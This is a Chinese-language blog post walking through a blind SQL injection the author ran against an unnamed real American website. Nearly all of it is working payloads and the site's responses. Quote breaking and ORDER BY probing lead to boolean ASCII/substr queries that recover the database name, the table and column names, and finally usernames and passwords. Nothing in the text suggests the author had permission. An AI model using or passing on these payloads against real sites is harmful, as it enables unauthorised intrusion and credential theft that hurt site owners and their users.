最近找到一个带有注入的美国网站,发现是盲注,简单讲讲盲注的原理。
1.xxx.com/index.php?ID=79这个位置单引号报错,并且直接给出错误信息:
SQL: SELECT *FROM catalog WHERE ID = '79''
知道了他的表是catalog,并且是单引号闭合。
2.尝试闭合,输入‘ --+ 后,页面返回正常。

3.开始猜测字段。
输入
ID=79' order by 5--+教科书般的错误返回信息。
错误信息为:
Unknown column '5' in 'order clause'没有第5个字段。

继续尝试,输入
ID=79' order by 4--+返回正常,表明当前表中有4个字段

4.查看返回信息
输入:
ID=79' select 1,2,3,4 --+尝试了很多次都不会显示任何信息,于是尝试盲注。

这里,他的表名称已经出来的,但是我还是选择看看其他表。所以,从头开始。
输入:
ID=79' and length(database())>10 --+查看他的数据库名称是否大于10,返回错误

继续,测试,大于9的时候返回正常

继续确定
输入:
ID=79' and length(database())=10 --+最终确定他的数据库名称有10个字符

5.开始猜测数据库名
首先猜测第一位字母
打开ascii对照表

数据库名应该是从a到z
输入:
ID=79' and ascii(substr(database(),1,1))>122 --+数据库第一个字母的ascii码是否大于122,返回错误

判断是否大于50,返回真。继续

是否大于75,返回真

最终测得数据库第一个字母的ascii码的值为115时返回正常。
115对应的是s。所以数据库第一个字母为s。

同样的方法测试第二字符的ascii码为101,对应ascii码,字符为e。

6.最终以上面的方法测出数据库名为sedimental
接下来爆表
and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0--+这个payload不好直观理解,我们到本地mysql环境中看看。
输入:
select table_name from information_schema.tables where table_schema=database()是直接显示当前数据库表名称。

输入payload后显示,返回多行

那么使用limit参数
limit0,1 ——>显示第一行数据
limit1,2——>显示第二行数据
所以,一个表为一行。
输入:
and ascii(substr((select table_name from information_schema.tables where table _schema=database() limit 0,1),1,1))>0 --+解读:返回第一个表的第一个字母的ascii码是否大于0
以此类推,得出第一个表,第二个表。
7.爆字段
and ascii(substr((select column_name from information_schema.columns where table_name=‘xxxx’ limit 0,1),1,1))>08.爆内容
and ascii(substr((select username,password from xxxx limit 0,1),1,1))>0原理和上面类似。